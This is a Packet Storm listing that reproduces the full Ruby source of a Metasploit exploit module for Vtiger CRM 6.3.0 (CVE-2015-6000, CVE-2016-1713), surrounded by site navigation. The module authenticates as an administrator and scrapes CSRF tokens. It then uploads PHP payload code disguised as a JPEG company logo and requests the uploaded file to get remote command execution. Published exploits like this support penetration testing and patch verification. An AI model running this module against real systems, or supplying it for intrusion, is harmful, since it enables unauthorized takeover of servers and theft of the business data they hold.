what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Vtiger CRM 6.3.0 Authenticated Logo Upload Remote Command Execution

Vtiger CRM 6.3.0 Authenticated Logo Upload Remote Command Execution
Posted Jul 30, 2018
Authored by Benjamin Daniel Mussler, Touhid M.Shaikh | Site metasploit.com

Vtiger version 6.3.0 CRM's administration interface allows for the upload of a company logo. Instead of uploading an image, an attacker may choose to upload a file containing PHP code and run this code by accessing the resulting PHP file. This Metasploit module was tested against vTiger CRM version 6.3.0.

tags | exploit, php
advisories | CVE-2015-6000, CVE-2016-1713
SHA-256 | 0e5c78b52a8faacfdb2de57265661b6c719a85c4847298f55630458f64d9b2ed

Vtiger CRM 6.3.0 Authenticated Logo Upload Remote Command Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Vtiger CRM - Authenticated Logo Upload RCE',
'Description' => %q{
Vtiger 6.3.0 CRM's administration interface allows for the upload of a company logo.
Instead of uploading an image, an attacker may choose to upload a file containing PHP code and
run this code by accessing the resulting PHP file.

This module was tested against vTiger CRM v6.3.0.
},
'Author' =>
[
'Benjamin Daniel Mussler', # Discoverys
'Touhid M.Shaikh <touhidshaikh22@gmail.com>', # Metasploit Module
'SecureLayer7.net' # Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2015-6000'],
['CVE','2016-1713'],
['EDB', '38345']
],
'DefaultOptions' =>
{
'Encoder' => 'php/base64',
'RPORT' => 8888
},
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
['vTiger CRM v6.3.0', {}],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 28 2015'))

register_options(
[
OptString.new('TARGETURI', [ true, 'Base vTiger CRM directory path', '/']),
OptString.new('USERNAME', [ true, 'Username to authenticate with', 'admin']),
OptString.new('PASSWORD', [ true, 'Password to authenticate with', ''])
])

register_advanced_options(
[
OptBool.new('PHPSHORTTAG', [true, 'Use short open php tags around payload', true])
])
end

def check
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'index.php') })

unless res
vprint_error("Unable to access the index.php file")
return CheckCode::Unknown
end

unless res.code == 200
vprint_error("Error accessing the index.php file")
return CheckCode::Unknown
end

if res.body =~ /<small> Powered by vtiger CRM (.*.0)<\/small>/i
vprint_status("vTiger CRM version: #{$1}")
if $1 == '6.3.0'
return CheckCode::Vulnerable
else
return CheckCode::Detected
end
end

CheckCode::Safe
end

# Login Function.
def login
# Dummy Request for grabbing CSRF token and PHPSESSION ID
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'index.php'),
'vhost' => "#{rhost}",
})

# Grabbing CSRF token from body
/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
vprint_good("CSRF Token for login: #{csrf}")

# Get Login now.
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'vars_get' => {
'module' => 'Users',
'action' => 'Login',
},
'vars_post' => {
'__vtrftk' => csrf,
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
},
})

unless res
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request")
end

cookie = nil
if res.code == 302 && res.headers['Location'].include?("index.php?module=Users&parent=Settings&view=SystemSetup")
vprint_good("Authentication successful: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
cookie = res.get_cookies.split[-1]
end

unless cookie
fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed :[ #{datastore['USERNAME']}:#{datastore['PASSWORD']} ]")
end

cookie
end

def exploit
cookie = login
unless cookie
fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed")
end

pay_name = rand_text_alpha(rand(5..10)) + ".php"

# Retrieve CSRF token
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'index.php'),
'vhost' => "#{rhost}",
'cookie' => cookie
})

# Grabbing CSRF token from body
/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
vprint_good("CSRF Token for Form Upload: #{csrf}")

stager = datastore['PHPSHORTTAG'] ? '<? ' : '<?php '
stager << payload.encoded
stager << ' ?>'

# Setting Company Form data
post_data = Rex::MIME::Message.new
post_data.add_part(csrf, nil, nil, "form-data; name=\"__vtrftk\"") # CSRF token
post_data.add_part('Vtiger', nil, nil, "form-data; name=\"module\"")
post_data.add_part('Settings', nil, nil, "form-data; name=\"parent\"")
post_data.add_part('CompanyDetailsSave', nil, nil, "form-data; name=\"action\"")
post_data.add_part(stager, "image/jpeg", nil, "form-data; name=\"logo\"; filename=\"#{pay_name}\"")
post_data.add_part('vtiger', nil, nil, "form-data; name=\"organizationname\"")
data = post_data.to_s

print_status("Uploading payload: #{pay_name}")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'vhost' => "#{rhost}",
'cookie' => cookie,
'connection' => 'close',
'headers' => {
'Referer' => "http://#{peer}/index.php?parent=Settings&module=Vtiger&view=CompanyDetails",
'Upgrade-Insecure-Requests' => '1',
},
'data' => data,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
})

unless res && res.code == 302
fail_with(Failure::None, "#{peer} - File wasn't uploaded, aborting!")
end

# Cleanup file
register_files_for_cleanup(pay_name)

vprint_status("Executing Payload: #{peer}/test/logo/#{pay_name}" )
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "test", "logo", pay_name)
})

if res && res.code != 200
fail_with(Failure::UnexpectedReply, "#{peer} - Payload not executed")
end
end
end
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close